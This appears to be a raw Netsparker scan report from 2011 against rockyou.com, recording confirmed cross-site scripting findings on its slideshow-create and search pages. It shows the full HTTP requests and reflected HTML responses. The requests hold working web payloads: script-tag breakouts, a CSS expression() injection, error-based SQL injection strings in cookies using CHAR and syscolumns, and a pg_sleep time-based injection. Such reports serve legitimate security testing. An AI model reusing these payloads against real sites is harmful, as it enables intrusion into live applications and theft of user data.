Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "'"--></style></script><script>netsparker(0x0025EC)</script>";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?lang=en&source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0025EC)%3C/script%3E&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploa..
- /slideshow-create.php

/slideshow-create.php CONFIRMED

http://www.rockyou.com/slideshow-create.php?source=br&create=1&instanceid='%22--%3E%3C/style%3E%3C/s..

Parameters

Parameter Type Value
source GET br
create GET 1
instanceid GET '"--></style></script><script>alert(0x0025F3)</script>

Request

GET /slideshow-create.php?source=br&create=1&instanceid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0025F3)%3C/script%3E HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?source=br
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303167503; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:58:24 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:58:23 GMT; path=/; domain=.rockyou.com,lastlogin=1303167504; expires=Wed, 27-Jul-2011 22:58:24 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:58:24 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=24143 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26966
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = ''"--></style></script><script>netsparker(0x0025F3)</script>';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "br";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?source=br&create=1&instanceid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0025F3)%3C/script%3E&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid..
- /viewsearch.php

/viewsearch.php CONFIRMED

http://www.rockyou.com/viewsearch.php?s_tsearch='%20stYle=x:expre/**/ssion(alert(9))%20ns='

Parameters

Parameter Type Value
s_tsearch GET ' stYle=x:expre/**/ssion(alert(9)) ns='

Request

GET /viewsearch.php?s_tsearch='%20stYle=x:expre/**/ssion(netsparker(9))%20ns=' HTTP/1.1
Referer: http://www.rockyou.com/viewsearch.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303167560; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:59:31 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:59:30 GMT; path=/; domain=.rockyou.com,lastlogin=1303167571; expires=Wed, 27-Jul-2011 22:59:31 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:59:31 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=18017 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 5469
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
